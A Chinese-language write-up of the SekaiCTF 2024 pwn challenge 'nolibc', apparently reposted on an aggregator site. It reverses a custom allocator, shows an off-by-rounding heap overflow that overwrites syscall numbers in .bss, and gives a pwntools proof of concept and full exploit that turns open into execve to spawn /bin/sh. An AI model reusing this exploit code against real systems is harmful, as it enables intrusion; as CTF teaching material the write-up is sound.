sekaiCTF-2024-pwn-nolibc解析

news/2024/12/23 0:35:27/文章来源:https://www.cnblogs.com/seyedog/p/18402078

sekaiCTF 2024

nolibc

程序逆向

IDA反编译之后:

全是没有符号表的函数。start函数就是主函数。然后发现一些类似于printf的函数也没有符号。
我们linux上运行程序可以确定,至少sub_1322("Welcome to String Storage!");这样的函数实现的功能就是类似于printf。
逆向函数:

__int64 __fastcall sub_1322(__int64 a1)
{__int64 result; // raxsub_12C8(a1);result = dword_15004;__asm { syscall; LINUX - }return result;
}

因为这些函数都是出题人自己实现的。直接调用syscall实现了输出的功能

这里看汇编会更直观一点,从rax的变化和syscall指令来分析题目到底用到了什么调用。

主要关注rax是怎么被赋值的。 mov edx, cs:dword_15004中cs:dword_15004存放的是1,所以可以确定这里的调用了write系统调用。而rdi和rdx固定,所以类似于puts,逐个打印每个字符

程序的另外一大部分是实现了一个类似于malloc的内存管理程序
在start函数的开头调用了一个init函数,初始化了bss上的一段内存指针,之后在一些文件读写、输出处理的时候,会申请一段空间来进行数据保存。

之后逆向可以发现,程序开辟了bss段上0x5000--0x15000之间的内容作为heap,然后紧接着的内容中存放了:

  • 作为syscall的系统调用号:0,1,2,3
  • 用户是否登录的标记
  • 用户登录的个数

也就是说,我们如果可以造成溢出,覆盖bss上的系统调用号,就可以调用任意syscall
之后我们正常动调看一下:

可以看到在程序偏移0x15000的位置保存了四个系统调用号

漏洞利用

当时做的时候已经从EX师傅那里确定是可以覆盖系统调用号了。
所以剩下的就很简单了。只需要思考如何能构造溢出覆盖系统调用号即可。

这个题目中,自定义的堆块在topchunk的起始位置保存了剩余堆块的大小,初始堆块的大小是0x10000

主要的漏洞点在这些位置:
add程序:

__int64 add()
{int *v1; // [rsp+0h] [rbp-10h]int v2; // [rsp+Ch] [rbp-4h]if ( *(qword_15020[login_flag] + 16LL) > 2046 )return puts("You have reached the maximum number of strings");putstring("Enter string length: ");v2 = atoi();if ( v2 > 0 && v2 <= 256 ){putstring("Enter a string: ");v1 = malloc(v2 + 1);if ( !v1 ){puts("Failed to allocate memory");puts(&unk_3124);exit(&unk_3124);}read(v1, v2 + 1);*(qword_15020[login_flag] + 8 * ((*(qword_15020[login_flag] + 16LL))++ + 2LL) + 8) = v1;return puts("String added successfully!");}else{puts("Invalid length");return puts(&unk_3124);}
}

add程序这里可以申请0x101大小的heap

 v1 = malloc(v2 + 1);

而在malloc程序中:
起始位置有这样两行程序:

  if ( !size )return 0LL;chunk_size = (size + 15) & 0xFFFFFFF0;

将申请的chunk+15再和0xFFFFFFF0与,但是如果我们最初申请的是0x100,+1再+15,最后与一下,就导致我们可以申请0x110大小的堆块。
然后再加上程序自定义chunk头的0x10。也就是一次chunk申请我们可以最大申请0x120

这里其实就出问题了,比如程序最后分配只剩0x80的大小,然后我们在add函数中申请一个0x7f大小的堆块,程序首先会将chunksize设定为0x80,并跳过下面的malloc程序:

  while ( 1 ){if ( !victim )return 0LL;if ( chunk_size <= *victim )                // 这里检测申请的chunk_size是否小于当前指向的chunk大小,小于就退出,否则victim继续指向下一个break;heap_p = victim;victim = *(victim + 1);}if ( *victim >= (chunk_size + 16LL) ){next_chunk = victim + chunk_size + 16;*next_chunk = *victim - chunk_size - 16;    // 这里代表chunk头指针保存着chunk的剩余大小*(next_chunk + 1) = *(victim + 1);*(victim + 1) = next_chunk;*victim = chunk_size;}

并直接返回一个指针:
return victim + 4;,鉴于victim是一个无符号整型指针,其实也就是跳过了堆头部的0x10的内容。但是我们通过add申请了0x7f的可写内容,那么最后可以溢出0x10。

然后还没完,在执行register函数的时候:

__int64 register()
{int *v1; // [rsp+8h] [rbp-18h]int *password; // [rsp+10h] [rbp-10h]int *username; // [rsp+18h] [rbp-8h]if ( user_num > 0 )return puts("You can only register one account!");putstring("Username: ");username = malloc(0x20);if ( username ){read(username, 32);if ( length(username) ){putstring("Password: ");password = malloc(0x20);if ( password ){read(password, 32);if ( length(password) ){v1 = malloc(0x4010);*v1 = username;*(v1 + 1) = password;v1[4] = 0;qword_15020[user_num++] = v1;return puts("User registered successfully!");

还要申请0x4020+0x30+0x30的数据,这些也都是没有被释放的。将0x10000-(0x4020+0x30+0x30),然后我们算一下剩下的内容还有多少个0x120:(0x10000-(0x4020+0x30+0x30))%120 == 40, ,(0x10000-(0x4020+0x30+0x30))/120 == 0xaa,
所以我们add需要重复0xaa次

这里我们验证一下是否可以控制系统调用号:
poc:

from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/Points_race/sekaiCTF/2024/nolibc"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '202.0.5.178'
port = 9999
local = 1
if local:io = process(banary)
else:io = remote(ip, port)# remote('nolibc.chals.sekai.team',1337,ssl=True)context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')def dbg():gdb.attach(io)pause()s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()def login(username:bytes, password:bytes):sla(b'Choose an option: ', b'1')sla(b'Username: ', username)sla(b'Password: ', password)def register(username:bytes, password:bytes):sla(b'Choose an option: ', b'2')sla(b'Username: ', username)sla(b'Password: ', password)def add_string(length:int, string:bytes):sla(b'Choose an option: ', b'1')sla(b'Enter string length: ', str(length).encode())sla(b'Enter a string: ', string)def delete_string(index:int):sla(b'Choose an option: ', b'2')sla(b'delete: ', str(index).encode())def load_file(filename:bytes):sla(b'Choose an option: ', b'5')sla(b'Enter the filename: ', filename)register(b'xmcve', b'123456')
login(b'xmcve', b'123456')
# load_file(b'sh') # Speed ​​up memory consumptionfor i in range(0xaa):add_string(0x100, str(i).encode())
add_string(0x3f, b'\0' * 0x30 +  p32(111111))
dbg()
# ## Trigger Exception
# add_string(0x3f, b'\0' * 0x30 +  p32(0) + p32(1)+p32(59)+p32(3)) # 15 -> sys_rt_sigreturn
# delete_string(0)
# load_file("/bin/sh")
ia()

可以看到已经可以修改了:

然后我们只需要思考:

  1. 改哪个系统调用号
  2. 如何执行execve binsh

这里我们其实可以从四个系统调用号看起,首先execve需要控制rdi,那么0和1直接排除即可。先试试能不能通过改open变成execve调用binsh
通过逆向可以知道,在调用load和save的时候都有open调用参与

所以我们试着通过load file程序,并将文件名定为/bin/sh来getshell。
最后有一个问题:

  v3 = malloc(32);if ( v3 && (read(v3, 32), length(v3)) && !cmp(v3, "flag") )

在load程序时有这样一步,先malloc并检查内容和文件名,这里如果我们直接load的话需要再malloc一个32大小的内存,显然已经没有机会了。

所以我们需要利用delete函数删除一个堆块,之后再申请即可。

exp

from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/Points_race/sekaiCTF/2024/nolibc"
elf = ELF(banary)
# libc = ELF("/home/giantbranch/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("/home/giantbranch/PWN/tools/libc-database-master/db/libc6_2.27-3ubuntu1.6_amd64.so")
ip = '202.0.5.178'
port = 9999
local = 1
if local:io = process(banary)
else:io = remote(ip, port)# remote('nolibc.chals.sekai.team',1337,ssl=True)context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')def dbg():gdb.attach(io)pause()s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()def login(username:bytes, password:bytes):sla(b'Choose an option: ', b'1')sla(b'Username: ', username)sla(b'Password: ', password)def register(username:bytes, password:bytes):sla(b'Choose an option: ', b'2')sla(b'Username: ', username)sla(b'Password: ', password)def add_string(length:int, string:bytes):sla(b'Choose an option: ', b'1')sla(b'Enter string length: ', str(length).encode())sla(b'Enter a string: ', string)def delete_string(index:int):sla(b'Choose an option: ', b'2')sla(b'delete: ', str(index).encode())def load_file(filename:bytes):sla(b'Choose an option: ', b'5')sla(b'Enter the filename: ', filename)register(b'xmcve', b'123456')
login(b'xmcve', b'123456')for i in range(0xaa):add_string(0x100, str(i).encode())payload1 = b'a' * 0x30 +  p32(0)+p32(1)+p32(59)
add_string(0x3c, payload1)
# dbg()
delete_string(0)
load_file("/bin/sh")
ia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/793726.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Java】爬取澳门区划信息

官网地址:https://macaostreets.iam.gov.mo/zh_mo/freguesiaindex.html大区部分是在页面展示的 点击发现并没有请求网络,所以数据是js中存在的 找到了展示街道方法,这一段: 使用大区id匹配上述变量的function showStreets(freguesia){var freguesiaStreets;switch(fregue…

『模拟赛』CSP-S模拟2

『模拟赛记录』CSP-S模拟2Rank 非常好数据,使我成为 Rank1(雾数据换源后的狂流——齐秦北风在吹着清冷的街道 街灯在拉开长长的影子 走过的路 想过的事 仿佛越来越远越来越长 越来越多越难以抛开 多少平淡日子以来的夜晚 你曾是我渴望拥有的企盼 太多分手的记忆 仿佛越来越远…

(更新至 8/25) 不是暑假的暑假的不是游记的游记

持续更新中 Day1 - 8/23 因为在学校里待不下去了,所以订的十一点多的火车,打算八点钟就出门 结果教练在家长群里发我们十二点放假,所以我爸怕我赶不上就帮忙改签到一点半了 你说的对,但是为什么改成卧铺了??? 因此因为xfg的莫名其妙原因,还是决定十点钟出来 那么十点钟…

在 Alt + Tab 列表中隐藏指定窗口

安装并启动 AlexanderPro/SmartContextMenu,然后在指定窗口上Ctrl + rightClick,在出现的菜单中勾选在 Alt + Tab 列表中隐藏即可。这个程序还提供了置顶、调整透明度等功能,挺实用。

4-网络安全体系与网络安全模型

4.1 网络安全体系概述 1)概念 一般而言,网络安全体系是网络安全保障系统的最高层概念抽象,是由各种网络安全单元按照一定的规则组成的,共同实现网络安全的目标。 网络安全体系包括法律法规政策文件、安全策略、组织管理、技术措施、标准规范、安全建设与运营、人员队伍、教…

2024软件工程课程第一次个人作业

这个作业属于哪个课程 福州大学-软件工程2024这个作业要求在哪里 202409软件工程课程第一次个人作业这个作业的目标 初步使用博客园和GitHub,增强在博客园学习的意识和提升软件开发实践技能的意识,让老师和助教了解各个同学的水平学号 0723052261. 个人logo文生图任务个人风格…

【Hashcat工具】工具使用

数字破解 a、7位数字破解 hashcat64.exe -a 3 -m 0 --force 25c3e88f81b4853f2a8faacad4c871b6 ?d?d?d?d?d?d?db、7位小写字母破解 hashcat64.exe -a 3 -m 0 --force 7a47c6db227df60a6d67245d7d8063f3 ?l?l?l?l?l?l?lc、1-8位数字破解 hashcat64.exe -a 3 -m 0 …

洛谷 P4829 kry loves 2048——题解

洛谷P4829题解传送锚点摸鱼环节 kry loves 2048 题目背景 kls是一个人赢。 题目描述 kls最近在玩一款类似2048的游戏,规则是这样的: 一开始,有\(n\)个方块,每个方块上有一个\(1\)到\(m\)的整数。 kls可以进行两种操作:选择两个数字相同的方块(不一定要相邻),将它们合并…

代码整洁之道--读书笔记(4)

代码整洁之道简介: 本书是编程大师“Bob 大叔”40余年编程生涯的心得体会的总结,讲解要成为真正专业的程序员需要具备什么样的态度,需要遵循什么样的原则,需要采取什么样的行动。作者以自己以及身边的同事走过的弯路、犯过的错误为例,意在为后来者引路,助其职业生涯迈上更…

Javaweb-DQL-分页查询

1. select * from stu limit 0,3; 2. select * from stu limit 0,3; 3. select * from stu limit 3,3; 4. select * from stu limit 6,3;

有哪些让你「 爽到爆炸 」的 Windows 软件?

前言 本文源于知乎的一个提问,如标题所示:有哪些让你「 爽到爆炸 」的 Windows 软件?今天大姚给大家分享6款C#/.NET开源且免费的Windows软件,希望可以帮助大家提高学习、开发、办公效率。 Microsoft PowerToys项目简介: Microsoft PowerToys 是使用 C++ 和 C# 编程语言开发…

LeetCode刷题 堆

不会做简单题目的小菜菜!一:堆 1、一种二叉树的结构(完全二叉树) 2、完全二叉树:从上到下;从左到右;填满 3、最大堆:根节点的权值大于孩子节点 4、最小堆:根节点的权值依次小于孩子节点 5、常用操作 #创建堆(最大堆,最小堆) #添加元素 #获取堆顶元素 #删除堆顶元素…